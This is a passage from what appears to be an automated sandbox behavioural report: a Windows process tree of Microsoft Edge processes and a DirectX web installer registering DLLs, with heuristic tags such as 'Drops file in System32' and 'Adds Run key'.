- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2796
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ff82df446f8,0x7ff82df44708,0x7ff82df44718
  2⤵
  PID:2728
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2116,10397820191539426075,6663086018421995920,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2120 /prefetch:2
  2⤵
  PID:1108
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2116,10397820191539426075,6663086018421995920,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2316 /prefetch:3
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3096
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2116,10397820191539426075,6663086018421995920,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2884 /prefetch:8
  2⤵
  PID:1100
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2116,10397820191539426075,6663086018421995920,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3328 /prefetch:1
  2⤵
  PID:2240
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2116,10397820191539426075,6663086018421995920,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3352 /prefetch:1
  2⤵
  PID:4548
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2116,10397820191539426075,6663086018421995920,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4684 /prefetch:1
  2⤵
  PID:1368
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2116,10397820191539426075,6663086018421995920,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1996 /prefetch:1
  2⤵
  PID:1176
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2116,10397820191539426075,6663086018421995920,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5368 /prefetch:8
  2⤵
  PID:2244
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2116,10397820191539426075,6663086018421995920,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5368 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2200
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2116,10397820191539426075,6663086018421995920,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5488 /prefetch:1
  2⤵
  PID:4464
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=2116,10397820191539426075,6663086018421995920,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=5528 /prefetch:8
  2⤵
  PID:4000
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2116,10397820191539426075,6663086018421995920,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5848 /prefetch:1
  2⤵
  PID:4944
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2116,10397820191539426075,6663086018421995920,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4224 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2308
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2116,10397820191539426075,6663086018421995920,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5728 /prefetch:1
  2⤵
  PID:3612
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2116,10397820191539426075,6663086018421995920,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6044 /prefetch:1
  2⤵
  PID:4280
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2116,10397820191539426075,6663086018421995920,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6584 /prefetch:1
  2⤵
  PID:3996
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2116,10397820191539426075,6663086018421995920,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5924 /prefetch:1
  2⤵
  PID:4748
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2116,10397820191539426075,6663086018421995920,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1752 /prefetch:1
  2⤵
  PID:5660
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2116,10397820191539426075,6663086018421995920,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6736 /prefetch:1
  2⤵
  PID:5884
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2116,10397820191539426075,6663086018421995920,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6752 /prefetch:1
  2⤵
  PID:6140
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2116,10397820191539426075,6663086018421995920,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1988 /prefetch:1
  2⤵
  PID:3964
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2116,10397820191539426075,6663086018421995920,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6416 /prefetch:1
  2⤵
  PID:5196
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2116,10397820191539426075,6663086018421995920,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1244 /prefetch:1
  2⤵
  PID:5516
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2116,10397820191539426075,6663086018421995920,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=26 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6392 /prefetch:1
  2⤵
  PID:5588
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2116,10397820191539426075,6663086018421995920,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=27 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6820 /prefetch:1
  2⤵
  PID:3272
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2116,10397820191539426075,6663086018421995920,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=28 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6948 /prefetch:1
  2⤵
  PID:5784
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2116,10397820191539426075,6663086018421995920,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=29 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3504 /prefetch:1
  2⤵
  PID:5792
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2116,10397820191539426075,6663086018421995920,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=30 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5544 /prefetch:1
  2⤵
  PID:5948
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2116,10397820191539426075,6663086018421995920,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=31 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6748 /prefetch:1
  2⤵
  PID:5956
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2116,10397820191539426075,6663086018421995920,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=33 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5612 /prefetch:1
  2⤵
  PID:6076
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2116,10397820191539426075,6663086018421995920,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6024 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4576
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2116,10397820191539426075,6663086018421995920,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=4856 /prefetch:2
  2⤵
  PID:5460
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2116,10397820191539426075,6663086018421995920,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=36 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6960 /prefetch:1
  2⤵
  PID:5980
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2116,10397820191539426075,6663086018421995920,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=37 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4832 /prefetch:1
  2⤵
  PID:5540
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2116,10397820191539426075,6663086018421995920,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=38 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2528 /prefetch:1
  2⤵
  PID:3036
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2116,10397820191539426075,6663086018421995920,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=39 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1016 /prefetch:1
  2⤵
  PID:1604
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2116,10397820191539426075,6663086018421995920,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=40 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3056 /prefetch:1
  2⤵
  PID:2856
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2116,10397820191539426075,6663086018421995920,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=41 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1020 /prefetch:1
  2⤵
  PID:3516
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2116,10397820191539426075,6663086018421995920,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=42 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=904 /prefetch:1
  2⤵
  PID:664
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2116,10397820191539426075,6663086018421995920,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=43 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1192 /prefetch:1
  2⤵
  PID:1232
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2116,10397820191539426075,6663086018421995920,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=44 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1200 /prefetch:1
  2⤵
  PID:2036
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2116,10397820191539426075,6663086018421995920,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=45 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=944 /prefetch:1
  2⤵
  PID:5928
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2116,10397820191539426075,6663086018421995920,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=47 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2664 /prefetch:1
  2⤵
  PID:3524
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=2116,10397820191539426075,6663086018421995920,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=6860 /prefetch:8
  2⤵
  PID:4052
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2116,10397820191539426075,6663086018421995920,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=212 /prefetch:8
  2⤵
  PID:5612
- C:\Users\Admin\Downloads\dxwebsetup.exe
  "C:\Users\Admin\Downloads\dxwebsetup.exe"
  2⤵
  - Executes dropped EXE
  - Adds Run key to start application
  - System Location Discovery: System Language Discovery
  PID:4788
- - C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
    C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\dxwsetup.exe
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Enumerates connected drives
    - Drops file in System32 directory
    - Drops file in Windows directory
    - System Location Discovery: System Language Discovery
    - Modifies registry class
    PID:4640
  - - C:\Users\Admin\AppData\Local\Temp\DXA556.tmp\infinst.exe
      C:\Users\Admin\AppData\Local\Temp\DXA556.tmp\infinst.exe d3dx9_24_x64.inf
      4⤵
      Executes dropped EXE
      PID:872
  - - C:\Users\Admin\AppData\Local\Temp\DXA556.tmp\infinst.exe
      C:\Users\Admin\AppData\Local\Temp\DXA556.tmp\infinst.exe d3dx9_25_x64.inf
      4⤵
      Executes dropped EXE
      Drops file in Windows directory
      PID:6340
  - - C:\Users\Admin\AppData\Local\Temp\DXA556.tmp\infinst.exe
      C:\Users\Admin\AppData\Local\Temp\DXA556.tmp\infinst.exe d3dx9_26_x64.inf
      4⤵
      Executes dropped EXE
      Drops file in System32 directory
      PID:1812
  - - C:\Users\Admin\AppData\Local\Temp\DXA556.tmp\infinst.exe
      C:\Users\Admin\AppData\Local\Temp\DXA556.tmp\infinst.exe d3dx9_27_x64.inf
      4⤵
      Executes dropped EXE
      Drops file in System32 directory
      PID:6856
  - - C:\Users\Admin\AppData\Local\Temp\DXA556.tmp\infinst.exe
      C:\Users\Admin\AppData\Local\Temp\DXA556.tmp\infinst.exe d3dx9_28_x64.inf
      4⤵
      Executes dropped EXE
      PID:2028
  - - C:\Users\Admin\AppData\Local\Temp\DXA556.tmp\infinst.exe
      C:\Users\Admin\AppData\Local\Temp\DXA556.tmp\infinst.exe d3dx9_29_x64.inf
      4⤵
      Executes dropped EXE
      PID:5988
  - - C:\Users\Admin\AppData\Local\Temp\DXA556.tmp\infinst.exe
      C:\Users\Admin\AppData\Local\Temp\DXA556.tmp\infinst.exe XACT_x64.inf
      4⤵
      Executes dropped EXE
      Drops file in System32 directory
      PID:2620
  - - C:\Windows\system32\regsvr32.exe
      C:\Windows\system32\regsvr32.exe /s C:\Windows\system32\xactengine2_0.dll
      4⤵
      Loads dropped DLL
      Modifies registry class
      PID:1720
  - - C:\Users\Admin\AppData\Local\Temp\DXA556.tmp\infinst.exe
      C:\Users\Admin\AppData\Local\Temp\DXA556.tmp\infinst.exe d3dx9_30_x64.inf
      4⤵
      Executes dropped EXE
      PID:2600
  - - C:\Users\Admin\AppData\Local\Temp\DXA556.tmp\infinst.exe
      C:\Users\Admin\AppData\Local\Temp\DXA556.tmp\infinst.exe XACT2_1_x64.inf
      4⤵
      Executes dropped EXE
      PID:3000
  - - C:\Windows\system32\regsvr32.exe
      C:\Windows\system32\regsvr32.exe /s C:\Windows\system32\xactengine2_1.dll
      4⤵
      Loads dropped DLL
      Modifies registry class
      PID:872
  - - C:\Users\Admin\AppData\Local\Temp\DXA556.tmp\infinst.exe
      C:\Users\Admin\AppData\Local\Temp\DXA556.tmp\infinst.exe xinput1_1_x64.inf, Install_Driver
      4⤵
      Executes dropped EXE
      Drops file in System32 directory
      PID:396
  - - C:\Users\Admin\AppData\Local\Temp\DXA556.tmp\infinst.exe
      C:\Users\Admin\AppData\Local\Temp\DXA556.tmp\infinst.exe XACT2_2_x64.inf
      4⤵
      Executes dropped EXE
      Drops file in Windows directory
      PID:6244
  - - C:\Windows\system32\regsvr32.exe
      C:\Windows\system32\regsvr32.exe /s C:\Windows\system32\xactengine2_2.dll
      4⤵
      Loads dropped DLL
      Modifies registry class
      PID:6880
  - - C:\Users\Admin\AppData\Local\Temp\DXA556.tmp\infinst.exe
      C:\Users\Admin\AppData\Local\Temp\DXA556.tmp\infinst.exe xinput1_2_x64.inf, Install_Driver
      4⤵
      Executes dropped EXE
      Drops file in Windows directory
      PID:4756
  - - C:\Users\Admin\AppData\Local\Temp\DXA556.tmp\infinst.exe
      C:\Users\Admin\AppData\Local\Temp\DXA556.tmp\infinst.exe XACT2_3_x64.inf
      4⤵
      Executes dropped EXE
      PID:552
  - - C:\Windows\system32\regsvr32.exe
      C:\Windows\system32\regsvr32.exe /s C:\Windows\system32\xactengine2_3.dll
      4⤵
      Loads dropped DLL
      Modifies registry class
      PID:5232
  - - C:\Users\Admin\AppData\Local\Temp\DXA556.tmp\infinst.exe
      C:\Users\Admin\AppData\Local\Temp\DXA556.tmp\infinst.exe d3dx9_31_x64.inf
      4⤵
      Executes dropped EXE
      Drops file in System32 directory
      Drops file in Windows directory
      PID:6544
  - - C:\Users\Admin\AppData\Local\Temp\DXA556.tmp\infinst.exe
      C:\Users\Admin\AppData\Local\Temp\DXA556.tmp\infinst.exe XACT2_4_x64.inf
      4⤵
      Executes dropped EXE
      PID:5328
  - - C:\Windows\system32\regsvr32.exe
      C:\Windows\system32\regsvr32.exe /s C:\Windows\system32\xactengine2_4.dll
      4⤵
      Loads dropped DLL
      Modifies registry class
      PID:7116
  - - C:\Users\Admin\AppData\Local\Temp\DXA556.tmp\infinst.exe
      C:\Users\Admin\AppData\Local\Temp\DXA556.tmp\infinst.exe d3dx9_32_x64.inf
      4⤵
      Executes dropped EXE
      Drops file in System32 directory
      Drops file in Windows directory
      PID:1712
  - - C:\Users\Admin\AppData\Local\Temp\DXA556.tmp\infinst.exe
      C:\Users\Admin\AppData\Local\Temp\DXA556.tmp\infinst.exe d3dx10_00_x64.inf
      4⤵
      Executes dropped EXE
      PID:3000
  - - C:\Users\Admin\AppData\Local\Temp\DXA556.tmp\infinst.exe
      C:\Users\Admin\AppData\Local\Temp\DXA556.tmp\infinst.exe XACT2_5_x64.inf
      4⤵
      Executes dropped EXE
      PID:6256
  - - C:\Windows\system32\regsvr32.exe
      C:\Windows\system32\regsvr32.exe /s C:\Windows\system32\xactengine2_5.dll
      4⤵
      Loads dropped DLL
      PID:6596
  - - C:\Users\Admin\AppData\Local\Temp\DXA556.tmp\infinst.exe
      C:\Users\Admin\AppData\Local\Temp\DXA556.tmp\infinst.exe XACT2_6_x64.inf
      4⤵
      Executes dropped EXE
      PID:5576
  - - C:\Windows\system32\regsvr32.exe
      C:\Windows\system32\regsvr32.exe /s C:\Windows\system32\xactengine2_6.dll
      4⤵
      Loads dropped DLL
      PID:6856
  - - C:\Users\Admin\AppData\Local\Temp\DXA556.tmp\infinst.exe
      C:\Users\Admin\AppData\Local\Temp\DXA556.tmp\infinst.exe d3dx9_33_x64.inf
      4⤵
      Executes dropped EXE
      PID:6312
  - - C:\Users\Admin\AppData\Local\Temp\DXA556.tmp\infinst.exe
      C:\Users\Admin\AppData\Local\Temp\DXA556.tmp\infinst.exe d3dx10_33_x64.inf
      4⤵
      Executes dropped EXE
      Drops file in System32 directory
      PID:5960
  - - C:\Users\Admin\AppData\Local\Temp\DXA556.tmp\infinst.exe
      C:\Users\Admin\AppData\Local\Temp\DXA556.tmp\infinst.exe XACT2_7_x64.inf
      4⤵
      Executes dropped EXE
      Drops file in System32 directory
      PID:6460
  - - C:\Windows\system32\regsvr32.exe
      C:\Windows\system32\regsvr32.exe /s C:\Windows\system32\xactengine2_7.dll
      4⤵
      Loads dropped DLL
      Modifies registry class
      PID:6720
  - - C:\Users\Admin\AppData\Local\Temp\DXA556.tmp\infinst.exe
      C:\Users\Admin\AppData\Local\Temp\DXA556.tmp\infinst.exe xinput1_3_x64.inf, Install_Driver
      4⤵
      Executes dropped EXE
      Drops file in System32 directory
      PID:6512
  - - C:\Users\Admin\AppData\Local\Temp\DXA556.tmp\infinst.exe
      C:\Users\Admin\AppData\Local\Temp\DXA556.tmp\infinst.exe d3dx9_34_x64.inf
      4⤵
      Executes dropped EXE
      PID:636
  - - C:\Users\Admin\AppData\Local\Temp\DXA556.tmp\infinst.exe
